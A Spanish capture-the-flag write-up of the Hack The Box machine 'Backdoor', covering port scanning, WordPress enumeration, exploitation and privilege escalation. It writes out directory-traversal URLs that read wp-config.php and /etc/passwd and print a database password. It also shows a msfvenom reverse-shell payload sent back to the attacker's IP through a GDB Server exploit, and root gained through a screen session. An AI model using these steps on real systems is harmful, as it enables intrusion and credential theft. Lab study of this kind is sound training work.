Fecha de Resolución
Fase de Reconocimiento
Empezamos con el reconocimiento de puertos lanzando un TCP SYN Port Scan
Parámetro | Descripción |
---|---|
-p- | Escanea el rango completo de puertos (hasta el 65535) |
-sS | Realiza un escaneo de tipo SYN port scan |
–min-rate | Enviar paquetes no más lentos que 5000 por segundo |
–open | Mostrar sólo los puertos que esten abiertos |
-vvv | Triple verbose para ver en consola los resultados |
-n | No efectuar resolución DNS |
-Pn | No efectuar descubrimiento de hosts |
-oG | Guarda el output en un archivo con formato grepeable para usar la función extractPorts de S4vitar |
p3ntest1ng:~$ nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.125 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-28 00:00 CET
Initiating SYN Stealth Scan at 00:00
Scanning 10.10.11.125 [65535 ports]
Discovered open port 22/tcp on 10.10.11.125
Discovered open port 80/tcp on 10.10.11.125
Discovered open port 1337/tcp on 10.10.11.125
Completed SYN Stealth Scan at 00:00, 12.99s elapsed (65535 total ports)
Nmap scan report for 10.10.11.125
Host is up, received user-set (0.17s latency).
Scanned at 2022-01-28 00:00:13 CET for 13s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
1337/tcp open waste syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.45 seconds
Raw packets sent: 65574 (2.885MB) | Rcvd: 65574 (2.623MB)
Identificamos varios puertos abiertos:
Puerto | Descripción |
---|---|
22 | SSH - SSH o Secure Shell |
80 | HTTP - Servidor web |
1337 | Nullsoft WASTE encrypted P2P app ¿? |
Vamos a obtener más información con un escaneo específico sobre los puertos que hemos encontrado.
Parámetro | Descripción |
---|---|
-p | Escanea sobre los puertos especificados |
-sC | Muestra todos los scripts relacionados con el servicio |
-sV | Determina la versión del servicio |
-oN | Guarda el output en un archivo con formato normal |
p3ntest1ng:~$ nmap -sCV -p 22,80,1337 10.10.11.125 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-28 00:17 CET
Nmap scan report for 10.10.11.125
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| 256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_ 256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.8.1
|_http-title: Backdoor – Real-Life
1337/tcp closed waste
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.36 seconds
Asignamos un virtualhost a la máquina en nuestro archivo /etc/hosts
para mayor comodidad.
p3ntest1ng:~$ echo '10.10.11.125 backdoor.htb' | sudo tee -a /etc/hosts
Veamos qué tecnologías se están utilizando en la web que hay alojada en el sistema con whatweb
p3ntest1ng:~$ whatweb http://backdoor.htb/
http://backdoor.htb/ [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], Email[wordpress@example.com], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.125], JQuery[3.6.0], MetaGenerator[WordPress 5.8.1], PoweredBy[WordPress], Script, Title[Backdoor – Real-Life], UncommonHeaders[link], WordPress[5.8.1]
Analicemos el puerto 80 con un script de reconocimiento HTTP básico de nmap. Sabemos que se ha utilizado WordPress v5.8.1
como gestor de contenido.
Parámetro | Descripción |
---|---|
–script | Ejecución de scripts escritos en LUA. Usamos http-enum |
-p | Escanea sobre el puerto especificado |
-oN | Guarda el output en un archivo con formato normal |
p3ntest1ng:~$ nmap --script http-enum -p 80 10.10.11.125 -oN webScan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-28 00:21 CET
Nmap scan report for backdoor.htb (10.10.11.125)
Host is up (0.056s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /wp-login.php: Possible admin folder
| /readme.html: Wordpress version: 2
| /: WordPress version: 5.8.1
| /wp-includes/images/rss.png: Wordpress version 2.2 found.
| /wp-includes/js/jquery/suggest.js: Wordpress version 2.5 found.
| /wp-includes/images/blank.gif: Wordpress version 2.6 found.
| /wp-includes/js/comment-reply.js: Wordpress version 2.7 found.
| /wp-login.php: Wordpress login page.
| /wp-admin/upgrade.php: Wordpress login page.
|_ /readme.html: Interesting, a readme.
Nmap done: 1 IP address (1 host up) scanned in 20.10 seconds
Encontramos algunos archivos interesantes: wp-login.php
y /wp-admin/upgrade.php
Realicemos un poco de fuzzing para ver qué más podemos encontrar en el servidor web. Primero usamos un diccionario pequeño y si no encontramos nada usamos uno más grande.
Parámetro | Descripción |
---|---|
-c | Muestra el output en formato colorizado |
-w | Utiliza el diccionario especificado |
–hc 404 | Oculta todos los códigos de estado 404 |
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://backdoor.htb/FUZZ 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://backdoor.htb/FUZZ
Total requests: 4614
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 329 L 4126 W 63901 Ch "http://backdoor.htb/"
000000013: 403 9 L 28 W 277 Ch ".htpasswd"
000000012: 403 9 L 28 W 277 Ch ".htaccess"
000000011: 403 9 L 28 W 277 Ch ".hta"
000002021: 301 0 L 0 W 0 Ch "index.php"
000003588: 403 9 L 28 W 277 Ch "server-status"
000004485: 301 9 L 28 W 315 Ch "wp-admin"
000004501: 301 9 L 28 W 318 Ch "wp-includes"
000004495: 301 9 L 28 W 317 Ch "wp-content"
000004568: 405 0 L 6 W 42 Ch "xmlrpc.php"
Total time: 0
Processed Requests: 4614
Filtered Requests: 4604
Requests/sec.: 0
Podemos ver el panel de login, en el cual he probado si es vulnerable a SQL Injection
sin éxito:
Alternativamente, podemos realizar un análisis más profundo con wpscan
:
p3ntest1ng:~$ wpscan --url http://backdoor.htb/ -e vp vt dbe ap
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.17
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://backdoor.htb/ [10.10.11.125]
[+] Started: Fri Jan 28 00:33:57 2022
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://backdoor.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://backdoor.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] Upload directory has listing enabled: http://backdoor.htb/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://backdoor.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.8.1 identified (Insecure, released on 2021-09-09).
| Found By: Rss Generator (Passive Detection)
| - http://backdoor.htb/index.php/feed/, <generator>https://wordpress.org/?v=5.8.1</generator>
| - http://backdoor.htb/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.8.1</generator>
[+] WordPress theme in use: twentyseventeen
| Location: http://backdoor.htb/wp-content/themes/twentyseventeen/
| Last Updated: 2022-01-25T00:00:00.000Z
| Readme: http://backdoor.htb/wp-content/themes/twentyseventeen/readme.txt
| [!] The version is out of date, the latest version is 2.9
| Style URL: http://backdoor.htb/wp-content/themes/twentyseventeen/style.css?ver=20201208
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 2.8 (80% confidence)
| Found By: Style (Passive Detection)
| - http://backdoor.htb/wp-content/themes/twentyseventeen/style.css?ver=20201208, Match: 'Version: 2.8'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
[+] Finished: Fri Jan 28 00:34:10 2022
[+] Requests Done: 48
[+] Cached Requests: 5
[+] Data Sent: 10.55 KB
[+] Data Received: 18.161 MB
[+] Memory used: 215.465 MB
[+] Elapsed time: 00:00:12
A pesar de toda la información, no he logrado acceso al panel de administración de WordPress.
Fase de Explotación
Podemos tratar de ver los plugins instalados en la web:
Vemos que tienen instalado el plugin ebook-download
, busquemos alguna vulnerabilidad y su correspondiente exploit.
p3ntest1ng:~$ searchsploit Wordpress eBook Download
-------------------------------------------------------------- -----------------------
Exploit Title | Path
-------------------------------------------------------------- -----------------------
WordPress Plugin eBook Download 1.1 - Directory Traversal | php/webapps/39575.txt
-------------------------------------------------------------- -----------------------
Shellcodes: No Results
Podemos ver la explicación y el POC (Proof of Concept) aquí: https://www.exploit-db.com/exploits/39575
El plugin es vulnerable a Directory Path Traversal
por lo cual podemos descargarnos archivos locales de forma remota.
Lo primero que podemos hacer es descargarnos una copia del archivo wp-config.php
ya que suele contener el usuario y la contraseña.
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
En este caso encontramos el usuario worpressuser
y la contraseña MQYBJSaD#DxG6qbm
.
Podemos descargar el archivo /etc/passwd
para listar los usuarios existentes en el sistema.
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/etc/passwd
p3ntest1ng:~$ cat passwd | grep -v "false\|nologin" | tr ":" " " | column -t
/etc/passwd/etc/passwd/etc/passwdroot x 0 0 root /root /bin/bash
sync x 4 65534 sync /bin /bin/sync
user x 1000 1000 user /home/user /bin/bash
Conociendo el usuario, podemos intentar descargarnos el archivo id_rsa
para conectarnos por SSH.
http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../home/user/.ssh/id_rsa
Sin embargo esto no funciona, tal vez no tenemos permisos, probemos otra cosa.
Si recordamos los puertos encontrados, vimos que el 1337 está cerrado. Este puerto es utilizado por GDB Server.
Buscando un poco en Google, he encontrado este exploit para la versión 9.2
: https://www.exploit-db.com/exploits/50539
Vamos a descargarlo en nuestra máquina y comprobemos si es vulnerable. Vamos a utilizar msfvenom
para generar el payload.
p3ntest1ng:~$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.114 LPORT=9999 PrependFork=true -o rev.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 106 bytes
Saved as: rev.bin
Ahora nos ponemos en escucha por el puerto 9999
con netcat
. Y ejecutamos el exploit:
p3ntest1ng:~$ python3 gdbserver92_exploit.py 10.10.11.125:1337 rev.bin
[+] Connected to target. Preparing exploit
[+] Found x64 arch
[+] Sending payload
[*] Pwned!! Check your listener
p3ntest1ng:~$ nc -nlvp 9999
listening on [any] 9999 ...
connect to [10.10.16.114] from (UNKNOWN) [10.10.11.125] 35514
python3 -c "import pty; pty.spawn('/bin/bash')"
Vamos a realizar un tratamiento a la tty para poder movernos con mayor comodidad.
user@Backdoor:/home/user$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
/usr/bin/bash: /usr/bin/bash: cannot execute binary file
Script done, file is /dev/null
user@Backdoor:/home/user$ ^Z
zsh: suspended nc -nlvp 9999
❯ stty raw -echo; fg
[1] + continued nc -nlvp 9999
reset xterm
user@Backdoor:/home/user$ export TERM=xterm
user@Backdoor:/home/user$ export SHELL=bash
user@Backdoor:/home/user$ ls
user.txt
user@Backdoor:/home/user$ cat user.txt
3c8331a33082e9498264297139288028
Escalada de Privilegios
Lo primero es ver si tenemos algún permiso a nivel de sudo:
user@Backdoor:/home/user$ sudo -l
[sudo] password for user:
Nos pide contraseña pero no la conocemos, por lo tanto no podemos listar los permisos.
Con el comando ps aux
podemos listar todos los procesos en ejecución. De entre todos, uno me llama la atención:
root 913 0.0 0.1 6952 2436 ? Ss 01:55 0:00 SCREEN -dmS root
Como vemos, se está ejecutando una sesión screen
referenciada con el nombre root
. Vamos a entrar en la sesión:
p3ntest1ng:~$ /usr/bin/screen -x root/root
root@Backdoor:~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root)
root@Backdoor:~# ls
root.txt
root@Backdoor:~# cat root.txt
7dc16ed16413b46043c7adf087fe1b69
root@Backdoor:~#